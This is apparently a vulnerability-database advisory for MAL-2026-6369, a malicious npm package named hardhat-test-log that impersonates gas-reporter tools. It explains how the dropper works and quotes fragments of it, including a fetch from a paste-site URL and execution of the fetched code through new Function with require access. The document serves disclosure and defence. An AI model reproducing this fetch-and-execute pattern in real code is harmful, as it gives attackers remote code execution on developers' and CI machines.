Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ MAL-2026-6369 — hardhat-test-log

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Malicious code in hardhat-test-log (npm)

Source: amazon-inspector

Package impersonates the well-known eth-gas-reporter / hardhat-gas-reporter packages: README is titled 'eth-test-log', copies badges and contributor metadata, and package.json sets author to 'cgewecke' (the real maintainer of those projects). The advertised Mocha reporter entrypoint is a decoy. index.js exports log as the reporter, but the function contains var opt = 1; if (!opt) {...legitimate reporter code... } else { gestest(); } — the dead-code gate guarantees the else branch always runs, calling utils.connectNet. utils.connectNet (lib/utils.js) spawns node lib/syncResolve.js as a detached, unref'd child with stdio ignored, so the dropper persists beyond Mocha teardown and produces no CI output. lib/syncResolve.js then performs axios.get('https://www.jsonkeeper.com/b/KBZVB', { headers: { 'x-secret-key':... } }), extracts the Cookie field from the response, and executes it in-process via new Function.constructor('require', result)(require) — giving attacker-controlled code full Node require access. The fetch destination is a public paste-style host with mutable, opaque content and no integrity check, so the operator can rotate the payload at will. Installing/using this package as a Hardhat/Mocha gas reporter triggers remote code execution on the developer's or CI machine.

Affected software

MAL-2026-6369 is recorded against 1 package.

  • hardhat-test-log

Timeline and source

Published on 24 June 2026 and last revised on 9 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

www.npmjs.com (Package)
www.npmjs.com (Package)
www.npmjs.com (Package)
www.npmjs.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-06-24
Updated 2026-08-20
Modified 2026-07-09
Fix URL N/A

Affected Packages

Software From version Fixed in
hardhat-test-log — —

Free Vulnerability Check

Is your site affected by MAL-2026-6369?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against MAL-2026-6369 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesMalicious packagesMalicious packages 2026
✓